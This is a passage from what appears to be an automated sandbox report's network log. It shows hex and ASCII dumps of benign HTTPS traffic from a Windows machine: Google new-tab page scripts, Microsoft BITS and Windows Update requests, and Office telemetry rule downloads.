class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabind
2024-11-23 16:44:23 UTC	1390	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 Data Ascii: role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdi
2024-11-23 16:44:23 UTC	1390	IN	Data Raw: 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 Data Ascii: h?source\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42
2024-11-23 16:44:23 UTC	1390	IN	Data Raw: 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 Data Ascii: ,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0
2024-11-23 16:44:23 UTC	1390	IN	Data Raw: 74 72 6f 6c 2d 6c 61 62 65 6c 30 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 32 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f Data Ascii: trol-label0","left_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700323,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_no
2024-11-23 16:44:23 UTC	1390	IN	Data Raw: 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: fier: Apache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase
2024-11-23 16:44:23 UTC	1390	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f Data Ascii: ;return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Erro
2024-11-23 16:44:23 UTC	1390	IN	Data Raw: 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 Data Ascii: ent;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u0
2024-11-23 16:44:23 UTC	1390	IN	Data Raw: 75 6d 62 65 72 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 66 2e 69 74 65 6d 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 3f 5f 2e 47 64 28 66 29 3a 66 2c 64 29 7d 7d 3b 5c 6e 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 6f 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b Data Ascii: umber\"\u0026\u0026typeof f.item\u003d\u003d\"function\"?_.Gd(f):f,d)}};\n_.re\u003dfunction(a){return _.oe(document,a)};_.oe\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	216.58.208.228	443	7272	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:44:22 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 16:44:23 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 16:44:23 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 16:44:23 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-23 16:44:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49749	2.18.109.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:44:26 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 16:44:26 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=233309 Date: Sat, 23 Nov 2024 16:44:26 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:44:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bM6cHAbr4DgLfFU&MD=8zhm+Rvk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 16:44:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 632b6ffd-8f8b-4654-8926-66c71907302e MS-RequestId: c7ad7afb-ce09-49da-8a43-1d4900899d25 MS-CV: 61JF0U14YUyLMoHq.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 16:44:26 GMT Connection: close Content-Length: 24490
2024-11-23 16:44:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 16:44:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49752	2.18.109.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:44:28 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 16:44:28 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=233333 Date: Sat, 23 Nov 2024 16:44:28 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 16:44:28 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:44:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:44:58 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: 91a9dc6d-001e-0028-4620-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164457Z-174c587ffdf8fcgwhC1TEBnn7000000003c0000000009h7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:44:58 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 16:44:58 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 16:44:58 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 16:44:58 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 16:44:58 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
